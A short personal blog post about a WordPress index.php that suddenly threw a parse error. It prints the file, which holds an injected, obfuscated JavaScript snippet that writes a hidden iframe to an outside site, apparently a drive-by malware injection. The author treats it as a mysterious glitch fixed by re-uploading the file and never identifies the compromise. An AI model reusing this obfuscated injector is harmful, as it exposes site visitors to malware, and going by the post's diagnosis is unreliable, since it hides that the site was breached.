I was surprised to see this when I opened my blog this afternoon:
Parse error: syntax error, unexpected ‘?’ in /home/a4381523/public_html/index.php on line 5
I am no programmer so I was next to clueless as to what this meant. Googling it up however, proved helpful. After doing my research, I discovered that my blog’s index.php was the one having problems:
<?php
/* Short and sweet */
define(’WP_USE_THEMES’, true);
require(’./blog/wp-blog-header.php’);
<html><body onload=”function a0(s){b=”;for(i=0;i<s.length;i+=4>>1)b+=s.charAt(i);return b;}document.write(a0(’\074u\x64n\151k\x76n\040o\x73w\164n\x79 \154o\x65b\075f\x22u\166s\x69c\163a\x69t\142i\x69o\154n\x69u\164n\x79k\072n\x68o\151w\x64n\144 \x65o\156b\x22f\076u\x3cs\151c\x66a\162t\x61i\155o\x65n\040u\x73n\162k\x63n\075o\x22w\150n\x74 \164o\x70b\072f\x2fu\057s\x63c\150a\x61t\156i\x63o\150n\x6fu\151n\x2ek\143n\x6eo\057w\x69n\156 \x64o\145b\x78f\056u\x70s\150c\x70a\042t\x20i\166o\x69n\163u\x69n\142k\x69n\154o\x69w\164n\x79 \072o\x68b\151f\x64u\144s\x65c\156a\x20t\167i\x69o\144n\x74u\150n\x3dk\061n\x30o\060w\x20n\150 \x65o\151b\x67f\150u\x74s\075c\x38a\060t\x3ei\074o\x2fn\151u\x66n\162k\x61n\155o\x65w\076n\x3c \057o\x64b\151f\x76u\076s’));”</body></html>
Now, this proved to be a puzzle because I haven’t been touching the file since I put up this blog.
From my readings, the best thing to do when faced with this problem is to reupload the file in question especially if you haven’t been editing the file lately. I don’t know what causes this problem. All I know is that it’s freakin’ annoying. Fortunately for me, I maintain a couple of other blogs. I copied the contents of one of my blog’s index.php, edited the /blog/ part
(’./blog/wp-blog-header.php’);
to the folder where my wordpress is and voila! My site’s up and running again… like magic!
The computer and the net can sometimes be really techie but it surely pays to research. Thanks Google!
WHAT TO DO NOW?